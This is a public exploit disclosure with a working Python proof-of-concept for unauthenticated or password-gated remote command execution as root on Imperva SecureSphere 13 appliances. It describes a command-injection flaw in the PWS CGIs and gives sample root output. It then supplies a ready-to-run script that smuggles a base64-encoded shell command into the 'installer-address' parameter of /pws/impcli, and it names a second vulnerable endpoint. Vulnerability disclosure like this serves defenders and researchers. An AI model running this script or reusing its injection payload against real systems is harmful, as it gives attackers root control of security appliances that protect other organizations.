Imperva SecureSphere 13 - Remote Command Execution

# Title: Imperva SecureSphere 13 - Remote Command Execution
# Author: rsp3ar
# Date: 2018-10-08
# Vendor: https://www.imperva.com/products/securesphere/
# CVE: N/A
# Version: 13.0.10, 13.1.10, 13.2.10
# Tested on: SecureSphere (Virtual Appliance)

# Description
# PWS is a component in SecureSphere v13, which consists of Python CGIs to expose various cli utilities over https.
# The Python CGIs didn't properly sanitize user supplied command parameters, leading to command injection.
# The vulnerability could be exploited in below ways (depending on configuration status of SecureSphere):

# 1. Unauthenticated Remote Code Execution (Pre-FTL mode)
# When SecureSphere VM is provisioned without running 'ftl' utility to configured into SOM/MX/Gateway mode, 
# the vulnerable endpoint could be reached without authentication:

# $ python poc.py -t 192.168.146.201 'sudo id'
# [*] Sending payload to https://192.168.146.201/pws/impcli...
# [*] Received command execution output:
# uid=0(root) gid=0(root) groups=0(root)

# 2. Authenticated Remote Code Execution (Gateway mode)
# When SecureSphere VM is configured as gateway mode via 'ftl' utility, the vulnerable endpoint 
# could be reached with valid agent registration credential for user 'imperva':

# $ python poc.py -t 192.168.146.201 -p 'agent_registration_password' 'sudo id'
# [*] Sending payload to https://192.168.146.201/pws/impcli...
# [*] Received command execution output:
# uid=0(root) gid=0(root) groups=0(root)

#!/usr/bin/env python

import argparse, sys, base64, json
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser()
parser.add_argument("-t", metavar = "target", help = "Target hostname/IP address", type = str, required = True)
parser.add_argument("-p", metavar = "password", help = "Agent registration password for 'imperva' user", type = str, required = False)
parser.add_argument("cmd", help = "Command to be executed on target", type = str)
args = parser.parse_args()

# /pws/inception is another vulnerable endpoint
target_url = "https://%s/pws/impcli" % (args.t)
session = requests.Session()
session.get(target_url, verify = False)

split_mark = "SPLIT_MARK"
payload = "$(printf %s | base64 -d | bash)" % (base64.b64encode(args.cmd))
headers = {}
if args.p is not None:
    headers["Authorization"] = "Basic " + base64.b64encode("imperva:" + args.p)
body = {
    "command": "impctl server status",
    "parameters": {
        "broadcast": True,
        "installer-address": "127.0.0.1 %s%s%s" % (split_mark, payload, split_mark)
    }
}
print("[*] Sending payload to %s..." % (target_url))
response = session.post(target_url,  headers = headers, data = json.dumps(body), verify = False)

if split_mark in response.text:
    print("[*] Received command execution output:")
    print(response.text.split(split_mark)[1])
elif response.status_code == requests.codes.unauthorized:
    print("[!] Gateway Authentication required, please provide agent registration password.")
else:
    print("[!] Failed to execute command on target.")